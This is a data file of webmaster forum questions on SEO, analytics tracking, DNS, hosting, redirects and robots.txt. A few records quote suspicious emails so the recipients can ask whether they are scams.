{"id":"32690","title":"Are there any web log analyzers that produce something like Visitors Flow?","text":"We currently run AWStats and Google Analytics. I've recently looked into several other options including Piwik, Open Web Analytics, and Webalizer. One thing that I'd like to track, and haven't found in anything (GA's Visitors Flow is closest) is statistics on referrers. That is: 1. For a page view, the page that linked to it 2. For static files (images, css, js) the page that called them Visitors Flow gives something of this, but: * It doesn't handle service URLs * It doesn't handle static files (we have a lot of these) * It's very sparse (only gives the top few routes into or out of a page) * It's not integrated with any other pieces (eg. I can't easily drill down into a path in Visitors Flow to see a breakdown of pages within that path) Are there any tools (preferably log-based) that can provide this information?"}
{"id":"32695","title":"Is there any pros and cons of duplication content of meta description tag to keyword tag","text":"On a Huge Website we have no time to add `keywords` manually so I'm same phrases for `Description` and `keyword` like this <meta name='description' content=\"Hello how are you?\"> <meta name='keywords' content=\"Hello how are you?\"> Is there any pros and cons to do this for site's SEO"}
{"id":"32699","title":"Feeds not working on Technorati","text":"I submitted my site to Technorati but they prompt me that can not read from my feed url. I see it to be fine and it worked fine on other sites. Any ideas if there is a special requirement for technorati?"}
{"id":"51248","title":"When buying traffic through Adwords, shouldn't I see an equivalent number of Adsense impressions?","text":"Imagine if I purchase from Google 100 leads to my site through AdWords. I would expect my AdSense pageviews to be at least 100, so the ratio to be at least 1. Why is it that I get a 0.95, 0.97, 0.85? What do you think the issue might be? All cross browser testing has been done and apparently the website works fine with all browsers, mobile included. Any idea? Is this normal?"}
{"id":"28507","title":"Server outputs the sourcecode of PHP page","text":"I have a Shared Hosting package with HostGator. In it, I'm hosting around 4 websites. They are just some simple sites that doesn't likely to attract more visitors. But a few days ago, when I accessed one of my sites(via a browser), it outputted the PHP code of `index.php`, instead of outputting it as HTML. I think, at that time, the server was a bit busy or something. I heard that, Facebook also have got a similar condition where the home page's code was made available. So, how do I take preventive measures for this ? I always use phpBB forum's style of coding. That is, each sub pages, common functions, etc. are separated into subfolders. And in PHP, I would just `include_once()` or `require_once()` it. Also, these subfolders have a .htaccess file in which I have set the deny permission to the files inside it from outside. Also, in the main page(index), I would define a constant. And the first line of the subpages(which is situated in separate folders) is to check whether this constant is set. If not, calls `die()`. I am looking forward for solutions to this problem of outputting raw code when the page is accessed. Thanks in advance :)"}
{"id":"61400","title":"Use Google Analytics to target different sections of a blog","text":"I have a blog that targets different regions. The Europe region blog has different sections in different local languages such as English, French and German. I wonder how to track and analyze the different sections. My initial thought is to search the domain URL, but I found it is not a good idea. For example, the URL for the Europe blog is like www.myblog.com\/europe. If you click the French section, the URL is like www.myblog.com\/europe\/language\/french. If you click an article in the French section, it is like www.myblog.com\/article_name. Notice the article link is not www.myblog.com\/language\/french\/article_name!"}
{"id":"61156","title":"Tracking values in Adobe Marketing Cloud","text":"My company is using Adobe Marketing Cloud. We wanted to try and use analytics to log values like Google analytics dose it (Google analytics log values) I have been reading thru the documentation and cant find anything similar. Does anyone of you know if it's possible to do this?"}
{"id":"61154","title":"How to get Google to index dynamic pages generated from user IP address","text":"I am creating a local community directory site which identifies the location of the user by IP address and dynamically renders the content related to the specific community identified by the IP address. My question is since everything is generated by the user IP, how can I get Google to index the dynamic pages created since the Googlebot itself will present an IP address and thus the only pages it will see will be related to its IP address... I can generate and submit an XML sitemap for all pages, but again the script would revert back to the Googlebot IP no matter which link it follows from the sitemap. **Update:** Will Google penalize me if I redirect their bot through IP identification to the national version of this of the above mentioned site?"}
{"id":"30861","title":"Parallel downloading of JavaScript files on page load","text":"Below is a quote from one of the Yahoo performance pages: > While a script is downloading, however, the browser won't start any other > downloads, even on different hostnames. When I look at page load of our website, I can see that many scripts are being downloaded at the same time:  **Am I mistaken, or should the quote should instead read like this?** > While scripts are downloading (there can be several scripts downloading at > the same time), the browser won't start any other downloads, even on > different hostnames."}
{"id":"59741","title":"DNS CNAME domain.tld, email address problem","text":"After having bought a **domain** (`example.tld`) without webspace, I want to let this point to my other domain called (`myhomepage.somefreehoster.com`). I know this will work using DNS CNAME record and when someone looks for `example.tld`, the resulting IP will be this of `myhomepage.somefreehoster.com`. However, how do I let this pass for emails sent via domain `@example.tld` (like `webmaster@example.tld`)? I do not want to send my mail through `myhomepage.somefreehoster.com`. If this is not possible the way I am trying to do, let me please know some clever alternatives. Still, preferably, I would like to use a DNS redirect."}
{"id":"43899","title":"is it good to translate my competitor website's post?","text":"my website Alxa rank into my own country is 24000 and my competitor website is 34. me and my competitor both translate the foreign post. i really don't know what kind of post should i have to translate. is it good to translate my competitor post again( i mean about a translation that is completely different(word and verb)). does it improve my Alexa rank?"}
{"id":"60570","title":"Does Google really forget information that has been deleted?","text":"I had this case where I wanted to move articles from Blogger website to hosted Wordpress. As I can't make 301 redirects, I simply deleted the selected articles and scheduled to be published after 1 month. My question is does Google will really forget about those articles, so when they are published once again, they are indexed by the search engine? Should I make that period longer than 1 month?"}
{"id":"52591","title":"Correct usage of robots.txt file (\"Googlebot-Image\" and \"Mediapartners-Google\")","text":"This is the current _robots.txt_ file I am using on a site of mine. I have excluded large parts of the IP.Board forum in order to try and cut down on duplicate content. I've also excluded some WordPress search pages (as well as admin pages). However, I want the Google Images to be able to crawl anywhere, and I also want the AdSense bot to be able to crawl anywhere. Have I done it right? I'm now a little confused after reading that the addition of `User-agent: Googlebot` may override certain other values. Does the position of things in the file matter? #################################################### # ALLOW MEDIA BOT TO CRAWL ANYWHERE ##### User-agent: Mediapartners-Google Allow: \/ #################################################### # ALLOW IMAGE BOT TO CRAWL ANYWHERE ##### User-agent: Googlebot-Image Allow: \/ #################################################### # ALLOW MAIN GOOGLEBOT SPECIFIC ACCESS ##### User-agent: Googlebot Disallow: \/forums\/calendar\/ Disallow: \/forums\/gallery\/ Disallow: \/forums\/members\/ Disallow: \/forums\/user\/ Disallow: \/forums\/index.php Disallow: \/forums\/*&search_tags= Disallow: \/search\/ Disallow: \/*?s= Disallow: \/wp-admin\/ Disallow: \/wp-content\/"}
{"id":"44512","title":"Which domain better for language version?","text":"My company is based in Russia and it's website is `mycompany.ru`. Now, we are planning to launch German language version and we have option for two domains: 1. `mycompany.de` 2. `germankeyword.ru` Which one is better regarding the seo point of view? (we will be optimizing the traffic for `germankeyword` phrase). I understand that the best option would be `germankeyword.de`, but these are already in use. So, which one would you choose: to have the language in top level domain, or the particular keyword. Will this mismatch affect our Search Engine Rankings?"}
{"id":"3366","title":"What should my expires, cache-control, and pragma HTTP request header fields be set to?","text":"I have a website in which I update the content approximately once monthly. When I check the HTTP request header fields, I get the following output: Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache My question is, given the frequency at which I update content, I am thinking about manually setting these fields to allow cache of the site. I am using the php header(); command to do so. Therefore, my question is: what should my expires, cache-control, and pragma HTTP request header fields be set to? Also, should I be setting any other fields in addition to those?"}
{"id":"50024","title":"Can I determine if someone watched an embedded YouTube video with Google Analytics?","text":"I have a video hosted on YouTube that I want to embed on a landing page. Is it possible that I tell who clicked on the video to watch \/ how long they watched it? They would watch it right on the landing page; they wouldn't click the video and be re-directed to YouTube."}
{"id":"54265","title":"Can I give access to database without access to cpanel","text":"I'm going to give a freelancer access to the database. The idea was to give him the access with SSH (MySQL Workbench). But it came out that to do so, I would need to give him the password to my cpanel as well. Is there any other way, to give a database access without giving the access to the cpanel?"}
{"id":"51951","title":"Resources to learn IIS on Windows Server 2012","text":"I'm trying to learn how to manage IIS on Windows Server 2012 but I'm not sure where to look at. Can someone point out some books, videos, tutorials or other resources about that?"}
{"id":"65389","title":"Can websites appear differently to different internet networks?","text":"I just began launching a site for one of my clients, but I've come across a very strange issue. Whenever the client tries to access the website from an internet capable device in his office, he gets an error page. However, I have accessed the same site from both my house and from my office on multiple devices and browsers and the correct page has always come up. This problem has been going on for a few days now and the client says he has tried rebooting and clearing the local cache of the computers at his office. So, I was wondering why this might be happening and, in turn, how it might be remedied. Thanks."}
{"id":"65386","title":"301 redirect to the new website but without apostrophes in the URL","text":"I am trying to 301 a page that has a `'` in the URL and regular redirect 301 doesn't work. Is there a way to match part of the URL until the `'` and use that to 301 to a new page? Example URLs are below: `oldsite.example.com\/2011\/06\/cat-ate-martin’s-homework\/` to `newsite.example.com\/2011\/06\/cat-ate-martins-homework\/`"}
{"id":"51369","title":"What should the maximum length of a filename be, and would that affect SEO?","text":"I am working on an artist's portfolio website. Let's say I want each artwork's image filename to contain its basic information, like so: **Category - Artwork Title - Size, Medium, Year.jpg** In actual usage, the filename might become long, like this: **Illusions and Existentialism Exhibit - The Imaginative Artwork Title - 12 x 18 inches, watercolor, 2010.jpg** My purposes for putting all that info in the image filename would be: * to keep the image files organized and readable (in the backend) * to retain that information in case people download the images * to pull data from the image filename to be displayed on the webpage I know from here and here that Google guidelines encourage descriptive image filenames, but my example filename is 103 characters long. - is that too long? Will there be any technical issues for filenames exceeding a certain number of characters? Does it significantly slow down loading time? I read here that 255 characters is a safe limit based on file system limitations, and that some browsers limit the URI to 1024 characters (but not sure what that means for my question). This other thread says 70 characters is a good safe limit, but I'm not sure how they came up with that number. Will there be any other issues, like SEO-related issues? Does it make it seem like it's spam \/ keyword stuffing? I think the filename structure is focused on the artwork's actual description, and not keywords, so I hope it doesn't seem \"spammy\". Can anyone point me to references that recommend a specific filename length limit, as well as the explanation for that limit?"}
{"id":"14709","title":"What is HTML:imghack-a [Trj]?","text":"One of my websites (Joomla) is being blocked by Avast when I try to go to the administrator page. I get the message that there is an HTML:imghack-a [Trj] threat. I guess its a trojan, but I cannot find any information about it on the net. When I log on with FTP and look at both the dates and the server-logs I cannot find any discrepancies or illegal activity. Does anyone know what this is and where to look? Thanks"}
{"id":"25265","title":"Looking for a CMS for specific requirements (Javascript, import\/export...)","text":"I heard about Joomla, Drupal, Wordpress, etc. but I don't know about their detailed features. I am looking for a content management system meeting the following requirements: 1. Possibility to add simple text pages, with internal and external links (more or less the same features as a wiki) 2. Possibility to add complex JavaScript content pages (i.e., the content of the page is entirely determined by JavaScript, except the page frame itself, menu, headers, footers...) 3. Good back-up system. Something like export\/import in svn. 4. Possibility to have a good control on HTML keywords associated with each page. 5. Multi-user, with some access control for editing 6. Good community support. Which framework is best suited for the above requirements? Points 2, 3 and 6 are the most important."}
{"id":"25266","title":"Do shared hosting providers typically let users run make?","text":"I had an ersatz build server running on my website, hosted by Network Solutions. Recently, I lost permissions to run `make` via PHP, presumably because of some silent server move or configuration change. I have had problems with NS in the past, so this gives me another excuse to switch hosts. Before I do that, though, can I expect other hosts to give me the luxury of running system commands like `make`?"}
{"id":"54266","title":"Can a domain name forward AND resolve to a dedicated IP address at same time?","text":"It is my understanding that domain name forwarding is binary: if a domain name is forwarded to a valid site, it _cannot_ simultaneously resolve to a valid IP address. Is this correct?"}
{"id":"51864","title":"insert multi post page in sitemap or not?","text":"i want to insert below links in Sitemap, Each page has its own unique content : http:\/\/poetry.qrosh.com\/en\/William%20Shakespeare\/A%20Fairy%20Song\/1\/1\/ so if i have multi post pages which include 10 pages: http:\/\/poetry.qrosh.com\/posts\/en\/William%20Shakespeare\/poetry\/1 can i insert multi post page in sitemap for index or not?"}
{"id":"16271","title":"Storing User-uploaded Images","text":"What is the usual practice for handling user uploaded photos and storing them on the database and server? For a user profile image: 1. After receiving the image file from user, rename file to `<image_id>_<username>` 2. Move image to `\/images\/userprofile` 3. Add img filename to a table `users` containing their profile details like `first_name, last_name, age, gender, birthday` For a image for a review done by user: 1. After receiving the image file from user, rename file to `<image_id>_<review_id>` 2. Move image to `\/images\/reviews` 3. Add img filename to a table `reviews` containing their profile details like `review_id, review_content, user_id, score`. **Question 1** : How should I go about storing the image filenames if the user can upload multiple photos for a particular review? Serialize? **Question 2** : Or have another table `review_images` with columns `review_id, image_id, image_filename` just for tracking images? Will doing a `JOIN` when retriving the `image_filename` from this table slow down performance noticeably? **Question 3** : Should all the images be stored in a single folder? Will there be a problem when we have 100K photos in the same folder? _**Is there a more efficient way to go about doing this?_**"}
{"id":"32033","title":"Google Analytics: Custom variables issue difference in data","text":"We’ve set up tracking through custom variables in Google Analytics to measure which offices are getting the most traffic. The custom var consists out of the key (=office) and value = (office name). In our Custom Var tab in audience we get no data (actually we got 1 hit, but we think the data is way off). When we setup advanced segments with the filters on key and value we get the correct data. Now we are wondering why we aren’t getting that data in the custom var tab."}
{"id":"16272","title":"Can I do Google +1 for my own sites?","text":"Is it safe to +1 my own sites with google's new +1 button. I've added this button to my web pages but would there be any detrimental effect of clicking this link myself and +1 my own pages?"}
{"id":"20670","title":"What effect(s) does Google's Panda 2.5 update have on new websites in the SERP?","text":"I recently launched 3 websites (within the past 7-10 months) that had been steadily increasing in the rankings on Google search up until this past weekend, when I noticed a huge drop across most of my tracked keywords. The websites are e-commerce sites. This drop coincided with the exact date and time (September 28) of Google's most recent Panda update, Panda 2.5. I am wondering what the implications might be for new websites like mine with Panda 2.5. What is this most recent algorithm change targeting? Duplicate content, poor content, bad URLs? Any new information on this would be of help."}
{"id":"19959","title":"How to track specific Referrals with Google Analytics","text":"How do I have to alter a Referral link to my website to specifically track it with Google Analytics? I already discovered the URL Builder but isn't there are shorter way? For example: * `http:\/\/domain.com?ref=special` => easy to filter\/track\/view in Google Analytics How are you doing this?"}
{"id":"39432","title":"How to structure dynamic product browser for SEO?","text":"I will be building a new website for a client of mine. SEO is very important. This website will have a product browser for cars, in which visitors can set feature filters to search for products that match those. For example, a visitor would select a make, model and a price range to view all cars that fall within that range. Programming is not a problem, also I have quite some experience with SEO. **How to display this dynamic product list so it helps for SEO? - or at least won't hurt.** I was thinking of adding a static product browser as well, mainly for SEO purposes. A static list with all products grouped by brand. Canonical product page would be: http:\/\/www.somedomain.com\/products\/%BRAND%\/%SHORT_PRODUCT_DESCRIPTION% For the product browser index, how to handle: * url structure (filter-values in querystring, POST or rather as url segments) * use of canonical url? * pagination * etc"}
{"id":"6001","title":"Create beautiful websites with \"text free images\"?","text":"Most websites have images with text embedded into the images. Shure, they look great, but when it comes to translation into other languages, it immediately gets painful to maintain. Are there any examples of modern beautiful static websites, 2 - 5 pages, fixed with, top navigation, footer, 1 - 2 columns, using only CSS, text and \"images without text\" ?"}
{"id":"27953","title":"What marketplace \/ garage-sale software package does togoparts.com use?","text":"See: OpenSource Marketplace Platform I want to start a site also for end-users to buy\/sell used sporting goods of a particular type. When the scope of goods is narrowed like this, it is very advantageous to be able to filter by Brand, Size, Price Range, etc. **Nice features:** * account reputation with user comments * listings sortable by many custom fields * auto resize and recompress image uploads I don't want to reinvent the wheel, so does anyone know where I can start?"}
{"id":"6008","title":"Need Help With Finding SEO Company\/Individual","text":"I am fairly new to SEO and I have done all of the tactics and operations that I know to do to help my site rank to the number 1 spot on Google. I know that no one can guarantee the number 1 spot on Google or on any other search engine but I cannot even seem to get my website to the first page of Google's search results. My company is looking to hire a company or individual to work on our SEO. Does anyone here know of an SEO company or individual that has had good results in the past with getting a website to the front of Google, and preferably to the number 1 spot on Google? We are willing to pay a large sum of money for our keywords to rank on the front of Google search results. Any suggestions are welcome. Thanks John"}
{"id":"56727","title":"Trace user history in Google Webmaster Tools","text":"I have more than one user for a website in Google Webmaster Tools. How can I trace the history of user actions such as \"Remove URLs\" and so on?"}
{"id":"55391","title":"Finding bad links to use for the Google disavow links tool","text":"So, I have found domains that link to my site, and they seem to be banned as searching for `site:domain.com` on them doesn't produce any results at all. I now need to use the Google disavow links tool to remove the bad links, but it asks to import a `.txt` file with links only and I don't have the links. Is there any automated way to find bad link URLs without buying expensive memberships to premium SEO sites\/tools?"}
{"id":"17276","title":"How can I point my site from my domain to another host?","text":"I have websites running in a host & domain with the same company (CompanyA) Then I transferred some of my website (www.abc.com) to another domain company (CompanyB) My problem is www.abc.com can't able to read my index.html. Always Under Construction. What are the possibilities that causes for displaying the UndeerConstruction default ng site ng CompanyB instead of my index.html?"}
{"id":"52445","title":"Are self-signed SSL certificates allowed by shared hosting providers?","text":"I have contacted my hosting provider (`GoDaddy.com`) about how to implement self-signed SSL certificate in my server. Their support team replied to me that they don't provide this for shared hosting. Is self-signed SSL certificates using OpenSSL not allowed by any shared hosting providers? What might be the reason behind that?"}
{"id":"39782","title":"How do I professionally manage a website?","text":"My wife has started a business, and the website is an important way to reach potential customers. I'm a software developer, so 'of course' I'm taking care of the technical stuff. I arranged a webhost and uploaded and configured WordPress (which, together with a decent theme, fits our bill nicely). My wife has some knowledge of HTML and CSS, so she can customize the website herself. Now, I want to professionalize this stuff. If anything stupid happens (accidentally mess up a file, bug in WordPress update, site is hacked) we lose the entire site. What do I need to manage the site? When googling this subject, I only find FTP tutorials, which is not quite the level of info I'm after. I've figured: * backup of files + database (I already have these, but I have not tested whether restore works) * a local test environment for editing the theme and testing wordpress updates * a test plan, containing some things to test before uploading the test environment to the live site * versioning - should anything go wrong, we should be able to go to a previous version. * uptime monitoring - if the site goes down, I won't have to hear it from customers Suggested by bybe, mostly security related: * use a VPS. This will shield me from attacks on other shared hosting accounts, however it opens up another can of worms, because I have to keep the server safe _myself_. * remove write permissions on all files that don't need to be writable (template files, .htaccess) * subscribe to the CMS mailing list (Wordpress in this case) and update as soon as new releases are available * minimize the number of CMS plugins - they have their own vulnerabilities * remove the default admin account of the CMS * put the website in maintenance mode when modifying. It allows for a consistent backup and is nicer to visitors. Is there anything missing from this list?"}
{"id":"9271","title":"Selling\/Generating Revenue from Unused Domain Names","text":"I have a domain name which has a relevantly top searched keyword in it. I have not used this for over a year but I plan on doing so soon. Where is the best place to put it up for auction or see if anyone would like to buy it? (I am in the UK) and also Is there a way I can generate revenue from this unused domain name because at the moment I'm just paying for the domain name costs."}
{"id":"7397","title":"CMSs & ERPs for hospital management system","text":"**What are the best free CMSs or CMS plugins or ERPs or any other free tools available for developing a hospital management system?** I want to develop it for a children's hospital run by my father. The hospital is small with two doctors. Currently, everything is done manually on paper. The main entities who will be using the system are: Receptionist, the two doctors, chemist and the medical laboratorist. They will use it majorly for keeping the records of the patient. The patients would not be interacting with the system directly. The system needs to be user friendly and should be easy to learn. I was thinking to develop such a system using a CMS or an ERP or any other free tool. I have used wordpress\/drupal in past but never used an ERP. Can you please guide me to make such a system using free, and preferably open source, tools? Thanks, Akshey"}
{"id":"9278","title":"Spam prevention through IP tracking","text":"I am building a website with user generated comments. In order to implement user moderation\/spam-protection, users have the ability to mark comments as spam. When one comment is marked as spam, I want all comments from the same IP address to be deleted. I am not familiar with spam prevention in general, other than Captcha. Question: * is this a feasible\/good system for spam prevention? * are there better ways, or improvements I can make? Thanks."}
{"id":"10056","title":"Switching from GoDaddy Hosting to Bluehost Hosting with\/without transfering domain names?","text":"I currently have my Wordpress blog hosted with GoDaddy. I want to transfer my hosting to another hosting provider called Bluehost. I also have my domain name for that blog registered with GoDaddy. How can I either transfer the domain name and the hosting to BlueHost, or (for purposes of not losing that domain name) just transfer the hosting to BlueHost and keep the GoDaddy domain registered with GoDaddy?"}
{"id":"39789","title":"SEO Help - Using Rich Snippets","text":"I launched my web comics website, www.hittingtreeswithsticks.com, late November of last year and would like to improve its SEO. Go Daddy provides Search Engine Visibility assistance... so I'm trying to understand that. Right now, my SEO sucks. My goal is to have the search look like The Oatmeal's:  But currently looks like this:  So... my questions are: 1) How do I control the descriptive text under my URL. Currently it says \"use of this website signifies your agreement to my terms and conditions\", which is certainly not something I want to show up in search. 2) I've created a \"Rich Snippet\" which GoDaddy says I need to attach to each of my blog posts. I built my website from scratch using PHP, and did not use an existing framework. So, the way I'm displaying images is pulling rows from a MYSQL database... once someone clicks on the comic thumbnail, it displays the associated (by ID) full size comic on the \"view comic\" template. So I'm not sure where I should put this generated Rich Snippet code. Should I just put it in the section? <link rel=\"author\" href=\"https:\/\/plus.google.com\/u\/0\/104687106959620241243\/about\" \/> Thank you!"}
{"id":"10051","title":"Will search engines reindex a page that has been set to redirect on to a newer site page?","text":"We were asked by a client to change a website so that any pages\/Urls we were hosting on an older site would now redirect to a newer site hosted somewhere else and a different domain name to boot. We did this by changing each page in the IIS site management, to redirect to a url on their new domain instead of rendering a page locally. According to the redirect tool here: http:\/\/www.webconfs.com\/redirect- check.php . What we have done is search engine friendly. Problem now is... the client has been on a course learning all about meta tags and so thinks they have a better understanding of the \"matrix\" (remember there is no spoon). As Google still has the older site appearing in a search, this isnt helping matters. I have tried to explain, we have to wait for Google to reindex. I'm not blowing smoke am I? I'm now starting to wonder... will the older site always appear in a search, even though the pages don't exist? Is there a better way I should be redirecting their site to ensure google will stop keeping an index of pages that no longer exist and would instead replace them with the content in the newer site? a suggestion on the site mentioned above is to use the code: Response.Status=\"301 Moved Permanently\" Response.AddHeader \"Location\",\"http:\/\/www.new-url.com\/\" Does using the option in the IIS management tool to redirect the url not do the same?"}
{"id":"57321","title":"An Email About Company \"Brand Registration Confirmation\", SPAM?","text":"One of my clients has the domain _EXAMPLE.com_ for his company, today I received an email about someone trying to register _EXAMPLE_ brand for > From: ***** _**_[mailto: _*_** @ _ **-_**.org.cn] Sent: Friday, January 17, > 2014 To: info > > Subject: URGENT \" **Example** \" Brand Registration Confirmation > > Importance: High > > (It's very urgent, Please transfer this email to your CEO or appropriate > person, thanks) > > Dear Sir or Madam, > > We are a specialized company for domain name registration and protection. > Here, we have an issue about your intellectual property rights to confirm > with you.We formally received an application on January 15,2013 that a > company which self-styled \"* * * Investments Limited\"were applying to > register \" **Example** \" as their Brand name and some domain names through > our firm. > > Now we are handling this registration, and after our initial checking, we > found the name were similar to your company's, so we need to check with you > whether your company has authorized that company to register these names. If > you authorized this, we will finish the registration at once. If you did not > authorize, please let us know within 7 workdays, so that we will handle this > issue better. Out of the time limit we will unconditionally finish the > registration for \"* * * Investments Limited\".Looking forward to your prompt > reply. I am almost sure this is a scam, but thought of asking you if you have seen anything similar. Is their any chance that this is a legitimate message?"}
{"id":"49585","title":"Fastest way to redirect dead URLs to home page","text":"A client of mine scrapped his entire wordpress site of many years for a custom CMS. The URL structures both use the `\/<post_title>` format, so a pattern based .htaccess rule is out of the picture for saving the old urls. The old site is effectively dead, but I'd hate to let all of those thousands of backlinks simply die a 404 death. Is there a faster way than listing _each_ url in a .htaccess directive to redirect 1000s of urls to the home page? (Faster as in load speed, not programming efficiency)"}
{"id":"49584","title":"Does Google Analytics subdomain tracking need to be set up on every subdomain simultaneously?","text":"I'm cleaning up the Google Analytics tracking for a complex corporate website. The website is spread across a bunch of subdomains (`www.example.com` for the main content, `dev.example.com` for developer information, `pages.example.com` for legacy content, and so on) and I've found that each subdomain uses its own tracking cookie, so Analytics treats them all as separate sites (when tracking referrals, for example) even though the data all feeds into the same web property. As Google recommends, I'm going to fix this by adding `_gaq.push(['_setDomainName', 'example.com']);` to the tracking code on each subdomain, so that they all use the same tracking cookie. However, the site is very complex and several different groups maintain their own subdomains, so it's going to be difficult to coordinate the switchover. In particular, this comment gives me pause: > Yes you have to use `setDomainName(\".mydomain.com\")` on all `www` pages as > well. Otherwise cookies might get overwritten everytime you change > subdomains and data loss will occur. So, given that: * the bare domain (`example.com`) just redirects to the `www` subdomain, and * some of the subdomains currently have the `_setDomainName` method explicitly set to `'none'`, but some don't have it set at all, do we risk any data corruption if we stagger the tracking code update across the subdomains?"}
{"id":"63004","title":"How to optimize keywords in URLs for SEO?","text":"Can I write slightly different URLs for the same page and rank \"equally\" for both? For example, I have a post URL like this: http:\/\/example.com\/rio-de-janeiro\/onetitle-... But I also would like to rank for searches like this: http:\/\/example.com\/rj\/onetitle-... So if the user searches for \"rj onetitle\" or \"rio de janeiro onetitle\" it won't matter, I can rank for both... Can I use canonical URL's for something like this?"}
{"id":"61055","title":"Why do servers need to know their domain?","text":"Besides routing traffic, why do servers need to be configured with the server name? It seems like a waste in all cases except for routing or hosting for a TLD. Nginx example: server { listen 80; server_name myexample.com ... } Apache also gives a warning `Could not reliably determine the server's fully qualified domain name` if you don't set the server name."}
{"id":"54848","title":"How does Web Disk compare to FTP for accessing files from a browser and version control?","text":"I would like to know: 1. What is the difference between accessing my hosting through Web Disk or mapping it through FTP, in Windows? 2. With Web Disk... is there any way to access the files through a web browser? 3. I have heard that Web Disk allows version control. How can achieve this? In all cases, my hosting plan is managed with cPanel."}
{"id":"58899","title":"How can I track (funnel) if someone from a particular banner campaign watched our demo video?","text":"I'm setting up a banner on a website with the caption `View our Demo Video`. The Banner has the UTM campaign tracking code setup and working. On our website I've got an embedded iFrame YouTube video that triggers two events: one if it is played, and one if it reaches the end. What I'm trying to figure out now is if there's a way to create a Funnel Goal that sees if someone came in from the banner, did they proceed to watch the video? This is a snippet of the code I used to capture the YouTube event if (event.data == YT.PlayerState.PLAYING) { ga('send', 'event', 'YouTube', 'Started', 'Promo from Main Page'); }"}
{"id":"12381","title":"How can I get bloggers to use my widget?","text":"I have developed a widget that shows a story of a hike or an outdoor outing on a google map. Here is an example: http:\/\/www.comehike.com\/outdoors\/widget.php?type=hike&hike_id=108&width=500&height=500 What I am wondering is - other than asking people one by one, how do I get outdoor bloggers to use my widget on their sites? I made a page to create the widget here: http:\/\/www.comehike.com\/outdoors\/trip_story.php But it all seems clunky so far. Any suggestions would be appreciated :)"}
{"id":"58892","title":"Can someone cause me negative SEO by reporting to Google?","text":"I've been getting emails like this: > Our site has been penalized by Google because of a handful of back links > pointing to our site (we have lost 80% of our traffic). I have opened a line > of communication with their WebSpam team and am working to clear the > penalty. HOW THIS AFFECTS YOU? We have isolated the back links causing our > penalty which we need to have removed, ONE is from your site and I need to > get that link taken down asap. Heres the thing... In order to get out of the > penalty they have asked me to submit to them all the paid or unnatural links > which are currently pointing to our site and in the next 30 days I will be > submitting to them this list and unfortunately your site is included. HOW TO > AVOID NEGATIVE ACTION FROM GOOGLE If you can take the links down to > hisdomain.com then of course I will be able to leave your site off that > list. I really don't want to be the cause of a penalty to you, nor report > anyone else's website to Google hence I'm reaching out to you now, and if > you can get that link taken down ASAP then of course I won't include your > site when I report back to them! Do Google request such lists and can this cause a problem for my SEO? (of- course I have no idea who this is and have never sold a link to him or anyone else for that matter on my site, it's just User-Generated-Content)"}
{"id":"65005","title":"Will adding nofollow to alternate language links prevent Googlebot from crawling so many of them?","text":"I have a site with many pages (30MM+ indexed) and have been getting a `extremely high number of URLs on your site` warning message for a long time. I'm thinking of reducing the numbers of URLs Google sees especially between similar pages, specifically on pages that have a different language template but have the same content. Current for every page I have this in my `<head>`: <link rel=\"alternate\" hreflang=\"en x-default\" href=\"http:\/\/mydomain.com\/dir\/page\" \/> <link rel=\"alternate\" hreflang=\"ja\" href=\"http:\/\/ja.mydomain.com\/dir\/page\" \/> <link rel=\"alternate\" hreflang=\"ko\" href=\"http:\/\/ko.mydomain.com\/dir\/page\" \/> <link rel=\"alternate\" hreflang=\"th\" href=\"http:\/\/th.mydomain.com\/dir\/page\" \/> <link rel=\"alternate\" hreflang=\"es\" href=\"http:\/\/es.mydomain.com\/dir\/page\" \/> <link rel=\"alternate\" hreflang=\"pt\" href=\"http:\/\/pt.mydomain.com\/dir\/page\" \/> Will adding a `rel=nofollow` or a robots.txt disallow help Google focus on the more important pages he has to crawl instead of crawling a different template of the same page?"}
{"id":"50848","title":"Google follows JavaScript string as relative path - produces 404 error","text":"This is my first question on here so I hope I'm not breaking any rules, but I have a problem: I have a site that uses an Adobe Site Catalyst for its online analytics. The suite supports tagging through JavaScript and when implemented, it looks something like this that is placed on `http:\/\/www.mydomain.com`: <script language=\"JavaScript\" type=\"text\/javascript\"> s.channel=\"\/my-tracking-tag\/\" <\/script>` The problem is that Google is reading this JavaScript and interpreting the `s.channel` string as a relative location on my website and is crawling it. I then get a 404 error in Google Webmaster Tools saying that the URL `http:\/\/www.mydomain.com\/my-tracking-tag\/` does not exist, and that it was linked to by the URL that the JavaScript tag code was on. Is there any to avoid this behavior? I thought about adding URL with a 404 error to my _robots.txt_ file but tracking campaigns are constantly updating and it would be burdensome to update the text file with the constantly updating tags. I also though about structuring the string in `s.channel` as something like `'s.channel= \"\/\" + \"my-tracking-tag\" + \"\/\"` but I'm not sure if that would due the trick, and would also require implementation guidelines to be developed for the future."}
{"id":"35600","title":"Where can I track campaigns in Google Analytics?","text":"I'm trying to track campaigns in Google Analytics. I was able to create them, but I'm not sure where I can check the stats for them in Google Analytics."}
{"id":"49638","title":"How do I set up Google PageSpeed Service for my site?","text":"It seems I can't set up Google's PageSpeed Service. When I do it in the Google services panel, a message comes up like: \"Your site may be directing live traffic.\" What can I do to resolve this and activate the PageSpeed service? It is for a Google App Engine app that has its own domain. **Update:**  I don't know what the above means. I must have succeeding in verifying the domain as I'm using it from google apps and google appengine."}
{"id":"61545","title":"Is it possible to exclude being found by search engines by certain words?","text":"Say I have a page about strawberries and unicorns. I do want this page to be found by the word _strawberry_ , but I don't want it to be found by the word _unicorn_ - though both words are mentioned frequently on the page. Is this possible?"}
{"id":"44269","title":"How To Get Alexa Sites Linking Using PHP","text":"I am planning to get the Alexa sites linking of a given website. I am looking to do this in PHP. Please suggest me is Alexa providing any API. Is there any tool? Is it free? Is there any API that I can use?"}
{"id":"44263","title":"Domain renewal\/transfer gandi.net","text":"I'm in kind of a difficult situation here: I have a domain (a .at domain) and transfered it to gandi.net a couple of months ago. Now it's time to renew my domain but when I tried to do the renewal it just said the renewal could not be done online. After that I got an invoice from the nic.at (registry for .at domains) which stated that gandi wouldnt pay any more invoices for my domain. I can't access the domain over the gandi.net website so I cant change any dns\/whois information. I can't transfer my domain back to gandi since the mail address in the whois was an @contact.gandi.net which doesnt exist anymore since the domain isn't listed anymore in my gandi account. I contacted the support of gandi and got no answer what so ever(for over 1 week now). The domain is about to run out + I have to pay the invoice from nic.at if I don't have it transfered within the next couple of weeks. Now my question is: What do you suggest my next step is towards regaining control over my domain? Did anyone experience simular issues with gandi.net? Thanks for the help guys, I'm desperate for ideas\/suggestions"}
